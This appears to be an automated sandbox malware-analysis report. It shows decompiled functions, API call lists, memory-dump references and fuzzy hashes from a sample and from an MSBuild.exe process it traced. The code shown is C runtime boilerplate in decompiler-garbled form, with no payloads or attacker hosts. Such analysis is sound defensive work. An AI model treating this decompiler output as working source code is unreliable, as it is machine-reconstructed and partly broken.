libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00403523(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x40d164(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x00403529
0x0040352d
0x00403538
0x00403540
0x0040354b
0x00403551
0x00403555
0x0040355c
0x00403562
0x00403562
0x00403564
0x00403569
0x00000000
0x0040356e
0x00403575

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004034D5,?,?,0040349D,?,?,?), ref: 00403538
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040354B
FreeLibrary.KERNEL32(00000000,?,?,004034D5,?,?,0040349D,?,?,?), ref: 0040356E

Strings

mscoree.dll, xrefs: 00403531
CorExitProcess, xrefs: 00403543

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a4434107f2daa778a9a6943b89f5b35f346cf2fa342945b4ccad0d2b6384a8ce
Instruction ID: cdf67e37aa77378e54f49aa8de7f8fc5b9e1bbee3d57541d520eeabec9e0c0d8
Opcode Fuzzy Hash: a4434107f2daa778a9a6943b89f5b35f346cf2fa342945b4ccad0d2b6384a8ce
Instruction Fuzzy Hash: E6F01231E04218FBDB119BA5DD09B9EBE69EF4475AF140071E405B21E0DB788F05DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00409566, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409566(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x413e00, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E0040954F();
					E00409511();
					_t13 = WriteConsoleW( *0x413e00, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x00409583
0x00409587
0x00409594
0x00409599
0x004095b4
0x004095b4
0x004095ba

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00408FC5,?,00000001,?,00000001,?,0040845F,?,?,00000001), ref: 0040957D
GetLastError.KERNEL32(?,00408FC5,?,00000001,?,00000001,?,0040845F,?,?,00000001,?,00000001,?,004089AB,00406DA1), ref: 00409589

Part of subcall function 0040954F: CloseHandle.KERNEL32(FFFFFFFE,00409599,?,00408FC5,?,00000001,?,00000001,?,0040845F,?,?,00000001,?,00000001), ref: 0040955F

___initconout.LIBCMT ref: 00409599

Part of subcall function 00409511: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00409540,00408FB2,00000001,?,0040845F,?,?,00000001,?), ref: 00409524

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00408FC5,?,00000001,?,00000001,?,0040845F,?,?,00000001,?), ref: 004095AE

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: af65293018345efa43c8f0cd98520cdf39278052136b4e033135fec3bde435ae
Instruction ID: a7d21d64a6dceb9129caae3c73ede0b447aae24874995797d662afb8bdefccbd
Opcode Fuzzy Hash: af65293018345efa43c8f0cd98520cdf39278052136b4e033135fec3bde435ae
Instruction Fuzzy Hash: 4AF09836501225BBCF225FD69C0599A7F26EB483A9F048125FA18A5161C7328D209B98

Uniqueness

Uniqueness Score: -1.00%

Function 00402326, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402326() {
				void* _t4;
				void* _t8;

				E004029A4();
				E00402938();
				if(E00402698() != 0) {
					_t4 = E0040264A(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E004026D4();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00402326
0x0040232b
0x00402337
0x0040233c
0x00402341
0x00402343
0x0040234e
0x00402345
0x00402345
0x00000000
0x00402345
0x00402339
0x00402339
0x0040233b
0x0040233b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00402326
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 0040232B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00402330

Part of subcall function 00402698: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 004026A9

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00402345

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 3bed847363e56332b25ccfbaee1e7513379eb5877ff2f108d80f45b569b0c15d
Instruction ID: 5088a45f325ead9f3069c6abfea0874dc1709996f7f37aff7f508da2e1d8c194
Opcode Fuzzy Hash: 3bed847363e56332b25ccfbaee1e7513379eb5877ff2f108d80f45b569b0c15d
Instruction Fuzzy Hash: 98C00164201611A5DC243AB2231E2AF13041DA238DB9028FBAC91372E38DFF090B662F

Uniqueness

Uniqueness Score: -1.00%

Function 00401647, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401647(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				intOrPtr* _t4;
				void* _t6;
				void* _t13;
				void* _t15;
				void* _t25;
				void* _t28;

				_t31 = __edi;
				_t30 = __edx;
				_t25 = __ebx;
				asm("repne jnz 0x5");
				asm("repne ret");
				asm("repne jmp 0x25e");
				_push(__esi);
				E00402C65(2);
				E004035F5(E00401CB3());
				_t4 = E0040378C();
				 *_t4 = E00401CB9();
				_t6 = E00401A5D(__edx, __edi, _t4, 1);
				_t38 = _t6;
				if(_t6 == 0) {
					L8:
					E00401D2B(_t30, _t31, 7);
					asm("int3");
					E00401CF6();
					__eflags = 0;
					return 0;
				} else {
					asm("fclex");
					E00401F12();
					E00401BFE(_t38, E00401F3D);
					_push(E00401CAF());
					_t13 = E00402FF4(__edx);
					_pop(_t28);
					if(_t13 != 0) {
						goto L8;
					} else {
						E00401CBC(_t13);
						_t15 = E00401D13();
						_t40 = _t15;
						if(_t15 != 0) {
							_t15 = E00402CCD(E00401CB9);
							_pop(_t28);
						}
						E00401CE9(E00401CE9(_t15));
						E00401CC8(_t30, _t31, _t40);
						E004036F4(_t28, _t30, _t40, E00401CB9());
						if(E00403B19() != 0) {
							L0040321F(_t21, _t25, _t30);
						}
						E00401CB9();
						return 0;
					}
				}
			}

0x00401647
0x00401647
0x00401647
0x0040164d
0x00401650
0x00401652
0x00401658
0x0040165b
0x00401666
0x0040166b
0x00401679
0x0040167b
0x00401684
0x00401686
0x004016f4
0x004016f6
0x004016fb
0x004016fc
0x00401701
0x00401703
0x00401688
0x00401688
0x0040168a
0x00401694
0x0040169e
0x0040169f
0x004016a5
0x004016a8
0x00000000
0x004016aa
0x004016aa
0x004016af
0x004016b4
0x004016b6
0x004016bd
0x004016c2
0x004016c2
0x004016c8
0x004016cd
0x004016d8
0x004016e5
0x004016e7
0x004016e7
0x004016ec
0x004016f3
0x004016f3
0x004016a8

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004018BB
___raise_securityfailure.LIBCMT ref: 004019A2

Strings

>A, xrefs: 0040199D

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: >A
API String ID: 3761405300-2266166665
Opcode ID: ceaf1513d2a8d360f291202dea3f874e63b4040dfe031b201bdecb294d868f04
Instruction ID: 12c1e2e777ff7f93d96aad326acfef426a3aa072bf3aafa33136285a60019df7
Opcode Fuzzy Hash: ceaf1513d2a8d360f291202dea3f874e63b4040dfe031b201bdecb294d868f04
Instruction Fuzzy Hash: 1F21C4B5910300DAD710DF19F9816947BB5BB0C316F10D07AE9099B3A0E3B59B46CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 004067A6, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004067A6(char _a4) {
				struct HINSTANCE__** _t5;

				if(_a4 == 0) {
					_t5 = 0x414828;
					do {
						if( *_t5 != 0) {
							if( *_t5 != 0xffffffff) {
								FreeLibrary( *_t5);
							}
							 *_t5 =  *_t5 & 0x00000000;
						}
						_t5 =  &(_t5[1]);
					} while (_t5 != 0x414878);
				}
				return 1;
			}

0x004067af
0x004067b2
0x004067b7
0x004067ba
0x004067bf
0x004067c3
0x004067c3
0x004067c9
0x004067c9
0x004067cc
0x004067cf
0x004067d7
0x004067db

APIs

FreeLibrary.KERNEL32(00414828), ref: 004067C3

Strings

(HA, xrefs: 004067B2
xHA, xrefs: 004067CF

Memory Dump Source

Source File: 00000001.00000002.235437989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.235430631.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235480276.000000000040D000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235495300.0000000000413000.00000040.00020000.sdmp Download File
Associated: 00000001.00000002.235501210.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.235512926.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235534442.000000000041A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235563705.0000000000427000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235599994.0000000000429000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.235648394.0000000000432000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary
String ID: (HA$xHA
API String ID: 3664257935-2876237047
Opcode ID: e5cb9ae862768d222be9cb7b4ef351a81076c0aed5c8d8d19bdb13bdfcc2bf1e
Instruction ID: 1391f8f12aed6995d174b19905dfc5ccdcccd25c2b5a25db1a693495f63f5417
Opcode Fuzzy Hash: e5cb9ae862768d222be9cb7b4ef351a81076c0aed5c8d8d19bdb13bdfcc2bf1e
Instruction Fuzzy Hash: 66E04F36C206559AEB311A08D84479176D8975033AF16463BD8AD236D0D3794CE5C689

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: MSBuild.exe PID: 4204 Parent PID: 904 MSBuild.exeCOMMON

Executed Functions

Function 0106A533, Relevance: 1.6, APIs: 1, Instructions: 98fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0106A5E9

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8fd25a79d680f34de0c922d476222d557c992117b5427b85a84f8df1ec4f52a9
Instruction ID: c5e2f792711d5b4dc9ecb4526d1fc6fb4ca62a4df9676632e1375979ff78c81c
Opcode Fuzzy Hash: 8fd25a79d680f34de0c922d476222d557c992117b5427b85a84f8df1ec4f52a9
Instruction Fuzzy Hash: EA319EB1504380AFEB22DF65CC44B66BFE8EF06214F08849AE9859B252D375E909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0106A640, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,CE8D9C3C,00000000,00000000,00000000,00000000), ref: 0106A6D5

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 69bd87d5152fb2acde07ca9e171db667c690942e9e06c418eb155ab376507fa7
Instruction ID: 9e4867d5f15c24d2eb1d4d1a902bdb43267bd2ad215475c1b1886b93f5501738
Opcode Fuzzy Hash: 69bd87d5152fb2acde07ca9e171db667c690942e9e06c418eb155ab376507fa7
Instruction Fuzzy Hash: FF212BB6408780AFE7128B25DC45BA6BFBCEF46320F0885DAE9859B153D2246905C771

Uniqueness

Uniqueness Score: -1.00%

Function 0106A56A, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0106A5E9

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: e3a1a01c0f32f8a16f64f45c1c320526bd5621e9576e1031a680bda6bc2ae3c4
Instruction ID: cc0a681bcdc7e03120eefc5bad92ccc056dc743222836d2a1ac394952ba41729
Opcode Fuzzy Hash: e3a1a01c0f32f8a16f64f45c1c320526bd5621e9576e1031a680bda6bc2ae3c4
Instruction Fuzzy Hash: 8A218E71600244EFEB21EF69CD45B6AFBECEF08320F0484ADE9859B252D775E404CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0106A710, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,CE8D9C3C,00000000,00000000,00000000,00000000), ref: 0106A7A1

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: be7303b50bd38057cd05b219bd100e6cc3fac09a0f2441227f7875b224ffa492
Instruction ID: b25f27e391cbfbe68018735f75cb0b4a8a63c7a44460123fad6ed15c7b442479
Opcode Fuzzy Hash: be7303b50bd38057cd05b219bd100e6cc3fac09a0f2441227f7875b224ffa492
Instruction Fuzzy Hash: 8B21C171409380AFDB228F24DD44F56BFB8EF06310F0885EBE9859F163C264A409CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0106AC1C, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 0106ACB2

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 1313e8f8f37738a1edf81a0f538fbdba7c9d4eba85fd46977911e68c3b969cc7
Instruction ID: a3d6091b497561dba89631b8e40fdcfc8ec1c4b7d38820c7cbeedb5283c62487
Opcode Fuzzy Hash: 1313e8f8f37738a1edf81a0f538fbdba7c9d4eba85fd46977911e68c3b969cc7
Instruction Fuzzy Hash: 852192754093816FD3138B259C51B62BFB8EF87B20F0981DBE8848B653D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 0106A7EB, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 0106A863

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: f754d3a6d001fb35f5022b4b75b329ddc5bbda9c768680857d2949a58b5b2f81
Instruction ID: 932dc1e513368fca6f41c10a4e448532bfda951015c6e6b1b450d75c153ab343
Opcode Fuzzy Hash: f754d3a6d001fb35f5022b4b75b329ddc5bbda9c768680857d2949a58b5b2f81
Instruction Fuzzy Hash: 9721AE719083C49FDB12CB29DC45B92BFE8EF06314F0980EADC889F253D2649909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0106A336, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0106A39C

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ddf518478e4a265758e1dbe349ec11d025eada47c8921429f1926865e8127617
Instruction ID: 9aa51d72e99f2aebae68c94dc83361aa70f53dc92155aa4fd1f5a02a6ae07502
Opcode Fuzzy Hash: ddf518478e4a265758e1dbe349ec11d025eada47c8921429f1926865e8127617
Instruction Fuzzy Hash: 0D216D755093C49FD7128B25DC45696BFB8EF06220F0984EBED85CF263C278A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0106A1F4, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 0106A269

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 5e57a49879f2ee64eab3beffd74cdea7c102df70ada589ec862803832cd167ad
Instruction ID: 83d1ebdd5a79de0693cf16427049e01abc6935951fd33f207f917d2a3aba4099
Opcode Fuzzy Hash: 5e57a49879f2ee64eab3beffd74cdea7c102df70ada589ec862803832cd167ad
Instruction Fuzzy Hash: 3B215B3140D3C09FD7138B659895642BFB4EF03220F0A81DBD9848F1A3C369A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0106A742, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,00000E2C,CE8D9C3C,00000000,00000000,00000000,00000000), ref: 0106A7A1

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f019c342dbd72a7a6416378c1a21c42c1dd95cd750b350c0ed5b5d2d51c2d180
Instruction ID: 2e8925739d305147ad31bc958d1895546aa9b9ed6d9f0c7dc3c45b31d89be26b
Opcode Fuzzy Hash: f019c342dbd72a7a6416378c1a21c42c1dd95cd750b350c0ed5b5d2d51c2d180
Instruction Fuzzy Hash: 7511B271500204EFEB219F55DD85F9AFBECFF04310F0485AAED4A9B256C278A405CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0106A8B4, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 0106A919

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: 04e0b4c7b0cb485cab429126014054d9ea38ce8887cf5f150451410fa32de28e
Instruction ID: fa3838006fbaf84b2076140003dd13dfcb4a76e6f2f8ed2485b2bb498fcf6927
Opcode Fuzzy Hash: 04e0b4c7b0cb485cab429126014054d9ea38ce8887cf5f150451410fa32de28e
Instruction Fuzzy Hash: 5011D376504384AFDB228B15DC40B66FFF8EF06220F09809EED858B653D225A408CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0106A3E3, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0106A448

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 615c78f898141dd17a12bea64f15e85dc51cae243bca8e26a2c5d7e619012679
Instruction ID: 1ba315ffb2cc939edf7d8ad7d2d43066d1bd22618e06f557778dea2a054bd6e4
Opcode Fuzzy Hash: 615c78f898141dd17a12bea64f15e85dc51cae243bca8e26a2c5d7e619012679
Instruction Fuzzy Hash: 19118B754093C49FDB138B259C84662BFB8EF43214F0980CAED858F2A3D269A909D762

Uniqueness

Uniqueness Score: -1.00%

Function 0106A682, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,CE8D9C3C,00000000,00000000,00000000,00000000), ref: 0106A6D5

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: bd37a99e8cb81c3ad410d594b7f9a21895c5bd8e20ce34f95d4d483e38643786
Instruction ID: 35acaadc7eca89617730233b7fb55ca4b974674d0402fdeba4df25a0c84d962f
Opcode Fuzzy Hash: bd37a99e8cb81c3ad410d594b7f9a21895c5bd8e20ce34f95d4d483e38643786
Instruction Fuzzy Hash: FE014975540304EEE710EB19DD85B6AFBECEF44320F04C49AED859B356D278A404CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0106A8D6, Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetFileVersionInfoW.KERNELBASE(?,?,?,?), ref: 0106A919

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileInfoVersion
String ID:
API String ID: 2427832333-0
Opcode ID: 55f485170df071acd0f8430ac5b89268ff48c9b569fa2277dab455ae7e3bf3c5
Instruction ID: 6200edba66eb9a9db101ccc1111c2f7a5098eb193e6309849ff92e9c83dd811b
Opcode Fuzzy Hash: 55f485170df071acd0f8430ac5b89268ff48c9b569fa2277dab455ae7e3bf3c5
Instruction Fuzzy Hash: 21018075600244DFDB609F19D944B5AFBE8EF04220F18C0AADD899B752D275E508CA72

Uniqueness

Uniqueness Score: -1.00%

Function 0106A826, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.KERNELBASE(?,?), ref: 0106A863

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: FileInfoSizeVersion
String ID:
API String ID: 1661704012-0
Opcode ID: 84b1750f5b0c88ca0e0b1d4d3d1cb643f806878affdcda945351571b6e965004
Instruction ID: 63c76ded4c42b637614913e7d67a4e40dc5026ccfe1f7a0d1fdc836fbac43526
Opcode Fuzzy Hash: 84b1750f5b0c88ca0e0b1d4d3d1cb643f806878affdcda945351571b6e965004
Instruction Fuzzy Hash: 98017171A04244DFDB51EF19D98476AFFD8EF14220F08C4AADD89DB356D278E405CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0106AC62, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E2C,?,?), ref: 0106ACB2

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: d5a06f0fe43434fdfdd276f119a07351c7c3a9f5e80d7aae4052ad7bd6ff6fdc
Instruction ID: 60097d6585f07efaca190ea11dc7c9069cb4b27b124d9431de0c197b004858d6
Opcode Fuzzy Hash: d5a06f0fe43434fdfdd276f119a07351c7c3a9f5e80d7aae4052ad7bd6ff6fdc
Instruction Fuzzy Hash: D601A275500201ABD610DF1ADC82B26FBE8FB88B20F14C12AED084B741D271F555CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0106A36A, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 0106A39C

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 7dcf831ea62305b90ad92524191900249e1ebf39ba2a6378ea052a218f987160
Instruction ID: f04a972f1278c7656086036749288f8e07f4e414efb804c87d869956490f8bf9
Opcode Fuzzy Hash: 7dcf831ea62305b90ad92524191900249e1ebf39ba2a6378ea052a218f987160
Instruction Fuzzy Hash: 56018F75A04244CFDB11AF29D9847AAFBD8DF04220F08C0AAED49DF256D2B8A408CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0106A416, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 0106A448

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 27d8beec32ab1b9efac0fd8ce9a3ca461f8c13cd3e131f3ad778e13ff8deeb67
Instruction ID: dedf84e846d2746ffa5c574f4b4a0b685c9c87981272d0d65aad01fbf1b417d4
Opcode Fuzzy Hash: 27d8beec32ab1b9efac0fd8ce9a3ca461f8c13cd3e131f3ad778e13ff8deeb67
Instruction Fuzzy Hash: 8DF0D130500244CFDB109F09DD88765FFD8DF44220F08C0DADD894B316C678A408CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0106A23A, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNELBASE ref: 0106A269

Memory Dump Source

Source File: 00000007.00000002.248188797.000000000106A000.00000040.00000001.sdmp, Offset: 0106A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: f5ae158e24a3e3d69f741d11e4875fab5ae5d5c3d8d4cba7bf2ca90018d33911
Instruction ID: 1537ee88172e216b6bc6d4a98a883eeb0343fb7045a8faff7f06b6aac9ced205
Opcode Fuzzy Hash: f5ae158e24a3e3d69f741d11e4875fab5ae5d5c3d8d4cba7bf2ca90018d33911
Instruction Fuzzy Hash: 0DF0C230944245CFDB10DF19D984765FFD8EF05620F08C0EADD894F356D279A548CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 05051DF8, Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.249090738.0000000005050000.00000040.00000001.sdmp, Offset: 05050000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8350f6715cb22fc091c214f55ad9e5177f80d0576f6cfa2bc1aca5dbf07ef04f
